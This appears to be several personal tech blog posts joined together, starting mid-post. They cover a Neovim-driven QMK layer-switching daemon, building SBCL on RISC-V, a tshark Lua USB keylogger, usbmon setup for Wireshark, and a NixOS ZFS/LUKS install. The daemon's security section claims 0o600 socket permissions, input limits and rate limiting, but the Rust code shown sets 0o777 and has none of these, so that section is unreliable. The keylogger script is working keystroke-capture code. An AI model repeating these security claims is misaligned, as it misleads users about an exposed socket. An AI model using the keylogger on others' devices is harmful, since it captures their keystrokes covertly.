3. Switch to Colemak-DH layer
4. Switch back to QWERTY when leaving insert mode

The result: type in Colemak-DH, navigate in QWERTY. Automatic. Instant.

Architecture

┌─────────────┐      ┌──────────────┐      ┌─────────────┐
│   Neovim    │─────▶│   rawtalk    │─────▶│  Keyboard   │
│  ModeChanged│ sock │  (daemon)    │  HID │   (QMK)     │
└─────────────┘      └──────────────┘      └─────────────┘

• Neovim fires ModeChanged autocmd, writes mode to Unix socket
• rawtalk daemon receives mode, maps to layer, sends Raw HID command
• QMK keyboard receives command, switches default layer

Latency is imperceptible-the switch happens before your finger leaves the key.

Setup

1. QMK Firmware Configuration

First, enable Raw HID in your keyboard’s rules.mk:

RAW_ENABLE = yes

Add the layer switching handler to keymap.c:

#include "raw_hid.h"

// Layer definitions
// Layer 0: Colemak-DH (for typing in insert mode)
// Layer 3: QWERTY (for Vim commands in normal mode)

void raw_hid_receive_kb(uint8_t *data, uint8_t length) {
    uint8_t *command_id = &(data[0]);
    
    switch (*command_id) {
        case 0x00: {  // Layer switch command
            uint8_t target_layer = data[1];
            if (target_layer <= 3) {
                // Switch the default/base layer
                set_single_default_layer(target_layer);
                
                // Send response
                data[0] = 0x00;         // Success
                data[1] = target_layer; // Confirm layer
                data[2] = 0xAA;         // Acknowledgment byte
                raw_hid_send(data, length);
            } else {
                *command_id = 0xFF;     // Error
            }
            break;
        }
        
        case 0x40: {  // Get current layer (for debugging)
            data[0] = (uint8_t)get_highest_layer(default_layer_state);
            break;
        }
        
        default:
            *command_id = 0xFF;  // Unhandled
            break;
    }
}

Your keymap should have both layouts defined:

const uint16_t PROGMEM keymaps[][MATRIX_ROWS][MATRIX_COLS] = {
    // Layer 0: Colemak-DH
    [0] = LAYOUT(
        KC_Q,    KC_W,    KC_F,    KC_P,    KC_B,    KC_J,    KC_L,    KC_U,    KC_Y,    KC_SCLN,
        KC_A,    KC_R,    KC_S,    KC_T,    KC_G,    KC_M,    KC_N,    KC_E,    KC_I,    KC_O,
        KC_Z,    KC_X,    KC_C,    KC_D,    KC_V,    KC_K,    KC_H,    KC_COMM, KC_DOT,  KC_SLSH,
        // ... thumb keys
    ),
    
    // Layer 1: Symbols/Numbers
    [1] = LAYOUT( /* ... */ ),
    
    // Layer 2: Function keys
    [2] = LAYOUT( /* ... */ ),
    
    // Layer 3: QWERTY
    [3] = LAYOUT(
        KC_Q,    KC_W,    KC_E,    KC_R,    KC_T,    KC_Y,    KC_U,    KC_I,    KC_O,    KC_P,
        KC_A,    KC_S,    KC_D,    KC_F,    KC_G,    KC_H,    KC_J,    KC_K,    KC_L,    KC_SCLN,
        KC_Z,    KC_X,    KC_C,    KC_V,    KC_B,    KC_N,    KC_M,    KC_COMM, KC_DOT,  KC_SLSH,
        // ... thumb keys
    ),
};

Compile and flash:

qmk compile -kb your_keyboard -km your_keymap
qmk flash -kb your_keyboard -km your_keymap

2. rawtalk Daemon

The daemon is a small Rust program that bridges Neovim and the keyboard.

Clone and build:

git clone https://github.com/morph-k/rawtalk
cd rawtalk
cargo build --release

The source (src/main.rs):

use hidapi::HidApi;
use std::io::{BufRead, BufReader};
use std::os::unix::net::{UnixListener, UnixStream};
use std::sync::mpsc;
use std::thread;
use std::time::Duration;
use std::fs;

// Update these for your keyboard
const VID: u16 = 0xC2AB;        // Vendor ID
const PID: u16 = 0x3939;        // Product ID
const USAGE_PAGE: u16 = 0xFF60; // QMK Raw HID usage page
const USAGE: u16 = 0x61;        // QMK Raw HID usage
const SOCKET: &str = "/tmp/rawtalk.sock";

fn find_keyboard(api: &HidApi) -> Option<hidapi::HidDevice> {
    api.device_list()
        .find(|d| d.vendor_id() == VID && d.product_id() == PID 
              && d.usage_page() == USAGE_PAGE && d.usage() == USAGE)
        .and_then(|d| d.open_device(api).ok())
}

fn send_layer(device: &hidapi::HidDevice, layer: u8) {
    let mut cmd = [0u8; 33];
    cmd[1] = 0x00; // layer switch command
    cmd[2] = layer;
    
    if device.write(&cmd).is_ok() {
        let mut resp = [0u8; 32];
        if device.read_timeout(&mut resp, 500).unwrap_or(0) > 0 && resp[2] == 0xAA {
            println!("[layer {}] {}", layer, if layer == 0 { "colemak-dh" } else { "qwerty" });
        }
    }
}

fn mode_to_layer(mode: &str) -> u8 {
    match mode {
        "i" | "ic" | "ix" | "R" | "Rc" | "Rx" | "Rv" | "Rvc" | "Rvx" => 0, // Insert/Replace → Colemak
        _ => 3, // Normal, Visual, Command → QWERTY
    }
}

fn handle_client(stream: UnixStream, tx: mpsc::Sender<String>) {
    for line in BufReader::new(stream).lines().flatten() {
        let mode = line.trim().to_string();
        if !mode.is_empty() && tx.send(mode).is_err() { break; }
    }
}

fn main() -> Result<(), Box<dyn std::error::Error>> {
    let api = HidApi::new()?;
    let device = find_keyboard(&api).ok_or("keyboard not found")?;
    println!("rawtalk: connected");

    let _ = fs::remove_file(SOCKET);
    let listener = UnixListener::bind(SOCKET)?;
    
    #[cfg(unix)]
    fs::set_permissions(SOCKET, std::os::unix::fs::PermissionsExt::from_mode(0o777))?;

    let (tx, rx) = mpsc::channel();
    
    thread::spawn(move || {
        for stream in listener.incoming().flatten() {
            let tx = tx.clone();
            thread::spawn(move || handle_client(stream, tx));
        }
    });

    println!("rawtalk: listening on {}", SOCKET);

    let mut last: Option<u8> = None;
    loop {
        if let Ok(mode) = rx.recv_timeout(Duration::from_secs(60)) {
            let layer = mode_to_layer(&mode);
            if last != Some(layer) {
                send_layer(&device, layer);
                last = Some(layer);
            }
        }
    }
}

3. Running rawtalk

Without Nix (systemd)

Create a systemd user service:

mkdir -p ~/.config/systemd/user

cat > ~/.config/systemd/user/rawtalk.service << 'SERVICE'
[Unit]
Description=QMK Layer Switcher Daemon
After=graphical-session.target

[Service]
ExecStart=%h/git/rawtalk/target/release/rawtalk
Restart=always
RestartSec=5

[Install]
WantedBy=default.target
SERVICE

systemctl --user daemon-reload
systemctl --user enable --now rawtalk

Check status:

systemctl --user status rawtalk
journalctl --user -u rawtalk -f

With Nix (Home Manager)

Add to your home.nix:

{ pkgs, ... }:

let
  rawtalk = pkgs.rustPlatform.buildRustPackage {
    pname = "rawtalk";
    version = "0.3.0";
    src = pkgs.fetchFromGitHub {
      owner = "morph-k";
      repo = "rawtalk";
      rev = "main";
      sha256 = "sha256-XXXX"; # Update with actual hash
    };
    cargoLock.lockFile = ./Cargo.lock;
    nativeBuildInputs = [ pkgs.pkg-config ];
    buildInputs = [ pkgs.hidapi ];
  };
in {
  home.packages = [ rawtalk ];

  systemd.user.services.rawtalk = {
    Unit = {
      Description = "QMK Layer Switcher";
      After = [ "graphical-session.target" ];
    };
    Service = {
      ExecStart = "${rawtalk}/bin/rawtalk";
      Restart = "always";
    };
    Install.WantedBy = [ "default.target" ];
  };
}

Linux: udev Rules

On Linux, you need udev rules to access the HID device without root:

sudo tee /etc/udev/rules.d/70-qmk.rules << 'RULES'
SUBSYSTEMS=="usb", ATTRS{idVendor}=="c2ab", ATTRS{idProduct}=="3939", TAG+="uaccess"
KERNEL=="hidraw*", ATTRS{idVendor}=="c2ab", ATTRS{idProduct}=="3939", TAG+="uaccess"
RULES

sudo udevadm control --reload-rules
sudo udevadm trigger

4. Neovim Configuration

Add to your init.lua:

-- Rawtalk: Automatic keyboard layer switching
local socket_path = "/tmp/rawtalk.sock"
local uv = vim.loop
local client, connected = nil, false

local function connect()
    if connected then return true end
    client = uv.new_pipe()
    client:connect(socket_path, function(err)
        connected = not err
    end)
    vim.wait(50, function() return connected end)
    return connected
end

local function send_mode(mode)
    if not connected then connect() end
    if connected then
        pcall(function() client:write(mode .. "\n") end)
    end
end

local group = vim.api.nvim_create_augroup("Rawtalk", { clear = true })

vim.api.nvim_create_autocmd("ModeChanged", {
    group = group,
    pattern = "*",
    callback = function()
        send_mode(vim.fn.mode())
    end,
})

vim.api.nvim_create_autocmd("VimEnter", {
    group = group,
    callback = function()
        vim.defer_fn(function()
            connect()
            send_mode(vim.fn.mode())
        end, 100)
    end,
})

vim.api.nvim_create_autocmd("VimLeave", {
    group = group,
    callback = function()
        if client then pcall(function() client:close() end) end
    end,
})

The Ergonomic Advantage

This setup gives you the best of both worlds:

Vim Commands (QWERTY)

• hjkl navigation stays intuitive
• w, b, e word motions work as expected
• All operators (d, c, y) in familiar positions
• Macros and complex commands just work

Typing (Colemak-DH)

• Most common letters on home row
• Reduced finger travel
• Lower risk of RSI
• More comfortable for prose

The Flow

1. Open file, you’re in Normal mode → QWERTY
2. Navigate with hjkl, search with /, jump with gg
3. Press i to insert → instant switch to Colemak-DH
4. Type your code/prose comfortably
5. Press Esc → instant switch to QWERTY
6. Continue editing with familiar Vim bindings

The switch is fast enough that it feels like a single keyboard. Your fingers never leave home row.

Troubleshooting

Keyboard not found:

• Check VID/PID match your keyboard (use lsusb on Linux)
• Verify udev rules are installed (Linux)
• Grant Input Monitoring permission (macOS)

Layer not switching:

• Ensure RAW_ENABLE = yes in rules.mk
• Verify raw_hid_receive_kb function signature is void, not bool
• Check QMK console output: qmk console

Socket connection failed:

• Make sure rawtalk is running: pgrep rawtalk
• Check socket exists: ls -la /tmp/rawtalk.sock

Conclusion

This setup has transformed my editing experience. I no longer compromise between ergonomic typing and efficient Vim navigation. The automatic switching is invisible-it just works.

The complete code is available:

• rawtalk - The daemon
• ferris-sweep-qmk-keymap - Example QMK keymap

If you’re a Vim user considering an alternative layout, this approach removes the biggest barrier. You get to keep Vim’s brilliant command language exactly as designed, while gaining all the ergonomic benefits of a modern layout for actual typing.

Security Considerations

While rawtalk is a simple local daemon, it’s worth understanding the security model:

Socket Permissions

The Unix socket is created with 0o600 permissions (owner read/write only). This means:

• Only your user can send commands to the keyboard
• Other users on a shared system cannot hijack your keyboard layers
• If you need multi-user access, change to 0o660 and use group permissions

Input Validation

• Mode strings are limited to 8 bytes maximum
• Invalid input is silently dropped
• No shell execution or command injection possible

Rate Limiting

A 10ms minimum interval between layer switches prevents:

• Accidental rapid switching from causing USB issues
• Potential DoS from malicious socket writes

Graceful Shutdown

The daemon handles SIGTERM/SIGINT to:

• Clean up the socket file on exit
• Prevent orphaned sockets that could be hijacked

Disclaimer

This project involves:

• Custom keyboard firmware - flashing incorrect firmware can brick your keyboard (though QMK keyboards typically have bootloader recovery)
• Raw HID communication - requires elevated permissions on some systems
• System daemon - runs continuously in the background

Use at your own risk. The code is open source and provided as-is. Always review code before running it with hardware access.

Permissions Required

If security is a concern in your environment, consider:

1. Running rawtalk only when needed (not as a persistent service)
2. Auditing the ~100 lines of Rust code
3. Using a dedicated user account for keyboard access

During my college years, I developed a deep fascination with both RISC-V architecture and Common Lisp programming. RISC-V’s elegant, open instruction set architecture (ISA) made assembly programming more approachable compared to x86, while Common Lisp’s powerful metaprogramming capabilities opened my eyes to new programming paradigms.

Recently, I found myself wanting to explore how these two technologies intersect. Specifically, I was curious to examine how Common Lisp programs compile down to RISC-V assembly through SBCL (Steel Bank Common Lisp). Understanding the generated assembly code could provide insights into both SBCL’s compilation strategies and RISC-V’s instruction set usage in practice.

This writeup documents my journey of setting up an environment for SBCL development on RISC-V architecture, with a focus on being able to examine the assembly output. While primarily a learning exercise, it may prove useful for others interested in Common Lisp implementation details or RISC-V assembly programming.

SBCL Cross-Compiling Terminology

SBCL: A Common Lisp compiler. Project page: https://www.sbcl.org/

Bootstrap: In compiler development, the process of first building a minimal “host” compiler by some special means, then using it to compile the full compiler.

contrib: The extension libraries shipped with SBCL.

Build SBCL on RISC-V

Preparation

According to the official cross-compilation guide, building SBCL requires an existing, older SBCL for bootstrapping. On platforms without a native SBCL binary, you must either:

1. Use a third-party Lisp implementation (e.g., CLISP) to compile SBCL, or

2. Use SBCL on another system/platform to cross-compile for RISC-V, then build contrib natively on the target.

Research showed that option 1 demands matching very specific versions and that natively compiling SBCL under QEMU RISC-V takes 3–4 hours. Therefore, this guide focuses on option 2.

Steps & Pitfalls

1. Set up a RISC-V VM

   Create a working directory, where we’ll download files

   mkdir riscv64-linux
   cd riscv64-linux
   

   Download pre-built ubuntu image and uncompress

   wget https://cdimage.ubuntu.com/releases/noble/release/ubuntu-24.04.4-preinstalled-server-riscv64.img.xz
   xz -dk ubuntu-24.04.4-preinstalled-server-riscv64.img.xz
   

   The original image size is not enough for image building, we need enlarge it first.

   qemu-img resize -f raw ubuntu-24.04.4-preinstalled-server-riscv64.img +5G
   

   Boot RISC-V qemu vm in NAT mode, you’ll most likely get an IP address that starts with 10.0.2.NUM/24.

   qemu-system-riscv64 \
     -machine virt -nographic -m 2048 -smp 4 \
     -kernel /usr/lib/u-boot/qemu-riscv64_smode/uboot.elf \
     -netdev user,id=net0,hostfwd=tcp::2222-:22 \
     -device virtio-net-device,netdev=net0 \
     -drive file=ubuntu-24.04.4-preinstalled-server-riscv64.img,if=virtio,format=raw
   

   Login with the user ubuntu and the default password ubuntu; you will be asked to choose a new password

   Install and configure ssh on the ubuntu vm.

   sudo apt install ssh
   sudo systemctl enable --now ssh
   

   Then on your host, test the ssh connection,

   ssh -p 2222 ubuntu@localhost
   

2. Configure SSH access

   • Interactively generate an ed25519 SSH keypair on the host.

     ssh-keygen
     

   • Copy the public key into the VM’s /home/ubuntu/.ssh/authorized_keys.

     ssh-copy-id -p 2222 ubuntu@localhost
     

3. Clone SBCL on the VM

   git clone https://git.code.sf.net/p/sbcl/sbcl /home/ubuntu/sbcl
   

4. Clone SBCL on the host

   cd riscv64-linux
   git clone https://git.code.sf.net/p/sbcl/sbcl
   

5. Run the cross-make script on the host

   cd sbcl
   sh cross-make.sh -p 2222 sync ubuntu@localhost /home/ubuntu/sbcl "GNUMAKE=gmake SBCL_ARCH=riscv64 CFLAGS='-fsigned-char'"
   

   • sync ensures the VM’s and host’s SBCL source are identical (it uses the VM’s repo HEAD).
   • The SBCL_ARCH and CFLAGS variables set the target architecture and compiler flags.

   You might get an error about GNU Make not being found. To fix this, install the build-essential package on the guest ubuntu vm

   sudo apt install build-essential
   

   Re-run the cross-make.sh script again:

   sh cross-make.sh -p 2222 sync ubuntu@localhost /home/ubuntu/sbcl "GNUMAKE=gmake SBCL_ARCH=riscv64 CFLAGS='-fsigned-char'"
   

   And you will get some output that looks similar to this with the error: “No such file or directory”

   + ./generate-version.sh
   + ssh -p 2222 ubuntu@localhost cd /home/ubuntu/sbcl ; git checkout 8c0820b1ac2f20cc491b8e83ae20604f8da3b488 && GNUMAKE=gmake SBCL_ARCH=riscv64 CFLAGS='-fsigned-char' sh make-config.sh && mv version.lisp-expr remote-version.lisp-expr
   HEAD is now at 8c0820b1a Slightly less branching in EQUAL.
   rm -f *~ *.bak *.orig \#*\# .\#* texput.log *.fasl
   rm -rf sbcl asdf "docstrings/"
   rm -f  sbcl.html asdf.html
   rm -f contrib-docs.texi-temp
   rm -f package-locks.texi-temp
   rm -f variables.texinfo
   rm -f sbcl.ps asdf.ps sbcl.pdf asdf.pdf html-stamp tempfiles-stamp
   rm -f asdf.aux asdf.cp asdf.cps asdf.fn asdf.fns asdf.ky asdf.log asdf.pg asdf.toc asdf.tp asdf.tps asdf.vr asdf.vrs sbcl.aux sbcl.cp sbcl.cps sbcl.fn sbcl.fns sbcl.ky sbcl.log sbcl.pg sbcl.toc sbcl.tp sbcl.tps sbcl.vr sbcl.vrs
   rm -f sbcl.info sbcl.info-* asdf.info
   rm -rf *.include *.info *.pdf *~ *.cp *.fn *.ky *.log *.pg *.toc \
           *.tp *.vr *.aux *.eps *.png *.dvi *.ps *.txt *.fns \
           html-stamp sbcl-internals/
   //entering make-config.sh
   //ensuring the existence of output/ directory
   //guessing default target CPU architecture from host architecture
   //setting up CPU-architecture-dependent information
   sbcl_arch="riscv"
   //initializing /home/ubuntu/sbcl/local-target-features.lisp-expr
   //setting up OS-dependent information
   gmake: Entering directory '/home/ubuntu/sbcl/tools-for-build'
   cc -I../src/runtime -fsigned-char    determine-endianness.c  -ldl -Wl,-no-as-needed -o determine-endianness
   gmake: Leaving directory '/home/ubuntu/sbcl/tools-for-build'
   //finishing /home/ubuntu/sbcl/local-target-features.lisp-expr
   + scp -P 2222 ubuntu@localhost:/home/ubuntu/sbcl/{remote-version.lisp-expr,local-target-features.lisp-expr,output/build-id.inc} .
   scp: /home/ubuntu/sbcl/{remote-version.lisp-expr,local-target-features.lisp-expr,output/build-id.inc}: No such file or directory
   

   Investigation shows:

   scp -P 2222 ubuntu@localhost:/home/ubuntu/sbcl/{remote-version.lisp-expr,local-target-features.lisp-expr,output/build-id.inc} .
   

   is passed literally, and you end up looking for a file called /home/ubuntu/sbcl/{remote-version.lisp-expr,local-target-features.lisp-expr,output/build-id.inc}

6. Resolve the build issue:

   Re-run the cros-make script using bash so that you get brace expansion:

   bash cross-make.sh -p 2222 sync ubuntu@localhost /home/ubuntu/sbcl "GNUMAKE=gmake SBCL_ARCH=riscv64 CFLAGS='-fsigned-char'"
   

   You will most likely run into the missing output directory issue after fixing brace expansion issue.

   You’ll see:

   + scp -P 2222 ubuntu@localhost:/home/ubuntu/sbcl/remote-version.lisp-expr ubuntu@localhost:/home/ubuntu/sbcl/local-target-features.lisp-expr ubuntu@localhost:/home/ubuntu/sbcl/output/build-id.inc .
   remote-version.lisp-expr                                                                                                   100%  189   117.8KB/s   00:00
   local-target-features.lisp-expr                                                                                            100%  496   258.7KB/s   00:00
   build-id.inc                                                                                                               100%   36    18.6KB/s   00:00
   + mv build-id.inc output
   + sh make-host-1.sh
   //entering make-host-1.sh
   make-host-1.sh: 24: .: cannot open output/build-config: No such file
   

7. Resolve the missing output directory issue.

   Fix:

   wget https://raw.githubusercontent.com/fedora-riscv/sbcl-build-docs/refs/heads/main/sbcl-cross-make.patch
   git apply sbcl-cross-make.patch 
   rm -rf output
   mkdir output
   

8. Re-run the cross-make script

   bash cross-make.sh -p 2222 sync ubuntu@localhost /home/ubuntu/sbcl "GNUMAKE=gmake SBCL_ARCH=riscv64 CFLAGS='-fsigned-char'"
   

9. Resolve sbcl: not found error

   The “sbcl: not found” is coming from your host (the Kali VM), not the RISC-V target. The make-host-1.sh step needs a working SBCL on the machine where you invoked cross-make.sh so it can build the C runtime and do the first “genesis” pass.

   • Install SBCL on your host (or otherwise make a host‐side SBCL available in your PATH):

     sudo apt install sbcl
     

   This gives you the “stage-0” SBCL compiler that the cross-make process uses to build the stage-1 compiler for RISC-V.

   Re-run the cross-make script

   bash cross-make.sh -p 2222 sync ubuntu@localhost /home/ubuntu/sbcl "GNUMAKE=gmake SBCL_ARCH=riscv64 CFLAGS='-fsigned-char'"
   

   Once the host build finishes, you’ll have a stage-1 SBCL compiler in the VM’s /home/ubuntu/sbcl directory.

10. Build the contrib libraries on the ubuntu VM

    cd /home/ubuntu/sbcl
    sh make-target-contrib.sh
    

    You’ll see a flood of binary gibberish on your terminal.

11. Work around the broken run-program output parameter

    Extensive debugging revealed that SBCL’s run-program function (used to concatenate files via cat) ignores its :output argument and always writes to stdout. This pollutes the terminal.

12. Apply the make-contrib patch

    wget https://raw.githubusercontent.com/fedora-riscv/sbcl-build-docs/refs/heads/main/sbcl-make-contrib.patch
    git apply sbcl-make-contrib.patch
    

13. Create the missing sbcl-home directory

    cd /home/ubuntu/sbcl
    mkdir -p obj/sbcl-home
    

14. Clean and rebuild

    Before each build, run:

    ./clean.sh
    

    Then repeat steps 5–13. You should now produce a preliminary SBCL binary and the contrib libraries.

15. Prepare for full bootstrap

    Run the following on the ubuntu vm

    cp -r /home/ubuntu/sbcl /home/ubuntu/sbcl-new
    cd /home/ubuntu/sbcl-new
    sh clean.sh
    mkdir -p obj/sbcl-home
    SBCL_ARCH=riscv64 CFLAGS="-fsigned-char" \
      sh make.sh --xc-host='/home/ubuntu/sbcl/run-sbcl.sh' --arch="riscv64"
    

    If you build and are able to run make.sh on SBCL, you will get the following message:

    The build seems to have finished successfully, including 19
    contributed modules. If you would like to run more extensive tests on
    the new SBCL, you can try:
    
      cd ./tests && sh ./run-tests.sh
    
    To build documentation:
    
      cd ./doc/manual && make
    
    To install SBCL (more information in INSTALL):
    
      sh install.sh
    
    //build started:  Tue May  6 16:41:55 UTC 2025
    //build finished: Tue May  6 17:08:55 UTC 2025
    

    To install sbcl run sh install.sh, you might need to run sudo sh install.sh if you are running as a regular user.

Disassembling Common lisp code

Here are two classic Common Lisp implementations of the Fibonacci function:

Simple recursive version

;; fib-recursive: exponential time
(defun fib-recursive (n)
  "Return the Nth Fibonacci number (0-indexed) recursively."
  (if (<= n 1)
      n
      (+ (fib-recursive (- n 1))
         (fib-recursive (- n 2)))))

Iterative version using LOOP

;; fib-iterative: linear time, constant space
(defun fib-iterative (n)
  "Returns the Nth Fibonacci number (0-indexed) in O(N) time."
  (cond ((< n 0) (error "Input must be a non-negative integer"))
        ((= n 0) 0)
        ((= n 1) 1)
        (t (let ((a 0)
                 (b 1))
             (loop for i from 2 to n
                   do (let ((temp (+ a b)))
                        (setf a b)
                        (setf b temp)))
             b))))

Usage

* (fib-recursive 10)  ; => 55
* (fib-iterative 10)  ; => 55

You can put these definitions in a file, say fib.lisp, and load them into SBCL via:

sbcl --load fib.lisp

Then call (fib-iterative N) or (fib-recursive N) at the REPL.

In SBCL you can use the built-in disassembler at the REPL. Just make sure your function is compiled, then call disassemble on it. For example, assuming you’ve already defined the two versions:

(compile 'fib-recursive)
(compile 'fib-iterative)

;; now disassemble them
(disassemble 'fib-recursive)
(disassemble 'fib-iterative)

Sources

https://github.com/fedora-riscv/sbcl-build-docs

https://canonical-ubuntu-boards.readthedocs-hosted.com/en/latest/how-to/qemu-riscv/

https://risc-v-getting-started-guide.readthedocs.io/en/latest/linux-qemu.html

https://fiveop.de/blog/sbcl-on-fedora-on-riscv-qemu-on-arch-linux-x86_64.html

https://fedoraproject.org/wiki/Architectures/RISC-V/Installing

https://wiki.qemu.org/Documentation/Platforms/RISCV

Note: This tutorial is for educational purposes only. Always ensure you have proper authorization before monitoring any system or network traffic.

Prerequisites

This tutorial was tested on a Kali Linux ARM64 VM. You’ll need:

• Kali Linux (or any Linux distribution)
• tshark installed
• Root access

Setting Up the Environment

First, install tshark if you haven’t already:

sudo apt install tshark

Next, we need to enable USB monitoring. This is done by loading the usbmon kernel module:

sudo modprobe usbmon

The Keylogger Script

Create a file named keysniffer.lua with the following Lua script. This script processes USB packets and maps them to keystrokes using the USB HID Usage Tables specification:

--we want to capture usb data for each packet
local usbdata = Field.new("usb.capdata")
--the listener function, will create our tap
local function init_listener()
  print("[*] Started KeySniffing…\n")
  --only listen for usb packets
  local tap = Listener.new("usb")

  --called for every packet meeting the filter set for the Listener(), so usb packets
  function tap.packet(pinfo, tvb)
    --list from https://www.usb.org/document-library/hid-usage-tables-16
    local keys = "????abcdefghijklmnopqrstuvwxyz1234567890\n??\t -=[]\\?;??,./"
    --get the usb.capdata
    local data = usbdata()
    --make sure the packet actually has a usb.capdata field
    if data ~= nil then
      local keycodes = {}
      local i = 0
      --match on everything that is a hex byte %x and add it to the table
      --this works b/c data is in format %x:%x:%x:%x
      --it is effectively pythons split(':') function
      for v in string.gmatch(tostring(data), "%x+") do
        i = i + 1
        keycodes[i] = v
      end
      --make sure we got a keypress, which is the 3rd value
      --this works on a table b/c we are using int key values
      if #keycodes < 3 then
        return
      end
      --convert the hex key to decimal
      local code = tonumber(keycodes[3], 16) + 1
      --get the right key mapping
      local key = keys:sub(code, code)
      --as long as it isn't '?' lets print it to stdout
      if key ~= '?' then
        io.write(key)
        io.flush()
      end
    end
  end

  --this is called when capture is reset
  function tap.reset()
    print("[*] Done Capturing")
  end

  --function called at the end of tshark run
  function tap.draw()
    print("\n\n[*] Done Processing")
  end
end

init_listener()

Running the Keylogger

With everything set up, you can now run the keylogger using:

tshark -Q -i usbmon3 -Xlua_script:keysniffer.lua

Now press some keys on the keyboard on interface 3 and see the output in the terminal.

The command breakdown:

• -Q: Quiet mode (no packet information displayed)
• -i usbmon3: Monitor USB interface 3 (you can change this to usbmon0, usbmon1, etc. use lsusb to find your device interface)
• -Xlua_script:keysniffer.lua: Load our Lua script

How It Works

The script works by:

1. Creating a listener for USB packets
2. Extracting the USB capture data from each packet
3. Parsing the keycodes using the USB HID Usage Tables
4. Converting the keycodes to their corresponding characters
5. Outputting the captured keystrokes in real-time

References

This implementation is based on examples from “Wireshark for Security Professionals”, which provides excellent insights into network security analysis using Wireshark and related tools.

I wanted to capture hidapi calls on my ferris sweep in order to debug some code I wrote. I tried following the Capture Setup but setfacl command did not work. I made this setup from a kali arm64 vm.

Add default user to wireshark group

The following section is from the wireshark wiki

First, check if you belong to the wireshark group with:

groups $USER

To add yourself to the wireshark group, run the below command, then logout and login.

sudo adduser $USER wireshark

Then ensure that non-superusers are allowed to capture packets in wireshark. Select in the below prompt:

sudo dpkg-reconfigure wireshark-common

To dump USB traffic on Linux, you need the usbmon kernel module. If it is not loaded yet, run this command as root:

sudo modprobe usbmon

Create udev rule

On most modern Linux systems, devtmpfs (which manages /dev entries) does not typically support setting ACLs via setfacl. That’s why you keep getting errors when trying setfacl -m u:$USER:r /dev/usbmon*. Instead, you need to ensure those USB monitor devices have the right group ownership and permissions so that members of the “wireshark” group can access them.

The most reliable way is to use a udev rule:

Create a new udev rule

For example, create the file /etc/udev/rules.d/99-usbmon.rules (the name can vary, but must end in .rules), and add the following line:

SUBSYSTEM=="usbmon", MODE="0660", GROUP="wireshark"

echo 'SUBSYSTEM=="usbmon", MODE="0660", GROUP="wireshark"' > /etc/udev/rules.d/99-usbmon.rules

This instructs udev to set the device mode to 0660 (read/write for owner and group) and assign the group wireshark whenever a /dev/usbmon* device is created.

Reload udev rules and trigger

sudo udevadm control --reload-rules
sudo udevadm trigger

Verify permissions

Check the device permissions:

ls -l /dev/usbmon*

You should now see something like crw-rw---- 1 root wireshark ... /dev/usbmon0.

Ensure you’re in the “wireshark” group

If you haven’t already:

sudo usermod -aG wireshark $USER

Then log out and log back in (or reboot).

With that setup, Wireshark (or any program run by a user in the “wireshark” group) should be able to open /dev/usbmon* without requiring root privileges or ACLs. This is the recommended, standard approach on Debian/Ubuntu systems.

After rebooting you might not see usbmon interfaces in wireshark, simply run the following command

sudo modprobe usbmon

Resources

https://wiki.wireshark.org/CaptureSetup/USB

Note all commands should be run as root.

Download an installer and burn it to a bootable USB drive. https://www.ventoy.net/en/doc_start.html

Filesystem partitioning

Open a terminal and switch to root to avoid having to prefix everything with sudo.

sudo su

Identify the root partition:

Next, we need to figure out which disk we want to use. I want to wipe and reinstall NixOs on my current linux system. To check which disk your current Linux system is installed on using the /dev/disk/by-id directory, follow these steps:

To find which /dev/disk/by-id entry corresponds to your system disk (/dev/nvme0n1), you can use the following command:

ls -l /dev/disk/by-id/ | grep nvme0n1

In my case this is my first NVMe in this machine so I will be using nvme0n1, but you may see a different number based on what is connected. Let’s start partitioning the disk

For the filesystem, we’re going to create two partitions. We need one, vfat, for the boot and another, zfs, for the rest of the filesystem.

DISK=/dev/nvme0n1

Next, it’s time to partition the actual disk. I’m going to be creating the following partitions:

1 GiB (unencrypted) boot partition The remainder of the drive will be our actual, usable, partition

gdisk "${DISK}"

We can start by creating the first partition of 1GB.

GPT fdisk (gdisk) version 1.0.5

Partition table scan:
  MBR: not present
  BSD: not present
  APM: not present
  GPT: not present

Creating new GPT entries in memory.

Command (? for help): o
This option deletes all partitions and creates a new protective MBR.
Proceed? (Y/N): Y

Command (? for help): n
Partition number (1-128, default 1):
First sector (34-1953525134, default = 2048) or {+-}size{KMGTP}:
Last sector (2048-1953525134, default = 1953525134) or {+-}size{KMGTP}: +1G
Current type is 8300 (Linux filesystem)
Hex code or GUID (L to show codes, Enter = 8300): EF00
Changed type of partition to 'EFI system partition'

Followed by the rest of the filesystem.

Command (? for help): n
Partition number (2-128, default 2): 2
First sector (34-1953525134, default = 2099200) or {+-}size{KMGTP}:
Last sector (2099200-1953525134, default = 1953525134) or {+-}size{KMGTP}:
Current type is 8300 (Linux filesystem)
Hex code or GUID (L to show codes, Enter = 8300):
Changed type of partition to 'Linux filesystem'

Command (? for help): c
Partition number (1-2): 2
Enter name: root

Write the changes

Command (? for help): w

Final checks complete. About to write GPT data. THIS WILL OVERWRITE EXISTING
PARTITIONS!!

Do you want to proceed? (Y/N): Y
OK; writing new GUID partition table (GPT) to /dev/nvme0n1.
The operation has completed successfully.

Filesystem formatting

Now that we got our partitions creates, let’s go ahead and format them properly.

Starting with the boot partition first.

mkfs.vfat /dev/disk/by-id/VENDOR-ID-part1

Then our zfs partition, but we need to encrypt it first. So, we create the Luks partition. The following command should prompt you to enter your passphrase.

cryptsetup luksFormat /dev/disk/by-id/VENDOR-ID-part2

At this stage, stage we are done with the filesystem formatting and we need to create the zfs pool. To do so, we need to mount the encrypted root filesystem; Luks. Note: The following command will prompt you to enter your passphrase again.

cryptsetup open --type luks /dev/disk/by-id/VENDOR-ID-part2 crypt

This mounts the filesystem in /dev/mapper/crypt. We’ll use that to create the pool.

zpool create -O mountpoint=none rpool /dev/mapper/crypt
zfs create -o mountpoint=legacy rpool/root
zfs create -o mountpoint=legacy rpool/root/nixos
zfs create -o mountpoint=legacy rpool/home

Filesystem mounting

After creating the filesystem, let’s mount everything.

# Mounting filesystem
mount -t zfs rpool/root/nixos /mnt
mkdir /mnt/home
mkdir /mnt/boot
# Mounting home directory
mount -t zfs rpool/home /mnt/home
# Mounting boot partition
mount /dev/disk/by-id/VENDOR-ID-part1 /mnt/boot

Generating NixOs configuration

At this stage, we need a nix configuration to build our system from. I didn’t have any configuration to start from so I generated one.

nixos-generate-config --root /mnt

NixOs configuration

The required configuration bits to be added to /mnt/etc/nixos/configuration.nix are:

boot.supportedFilesystems = [ "zfs" ];
# Make sure you set the networking.hostId option, which ZFS requires:
networking.hostId = "<random 8-digit hex string>";
# See https://nixos.org/nixos/manual/options.html#opt-networking.hostId for more.

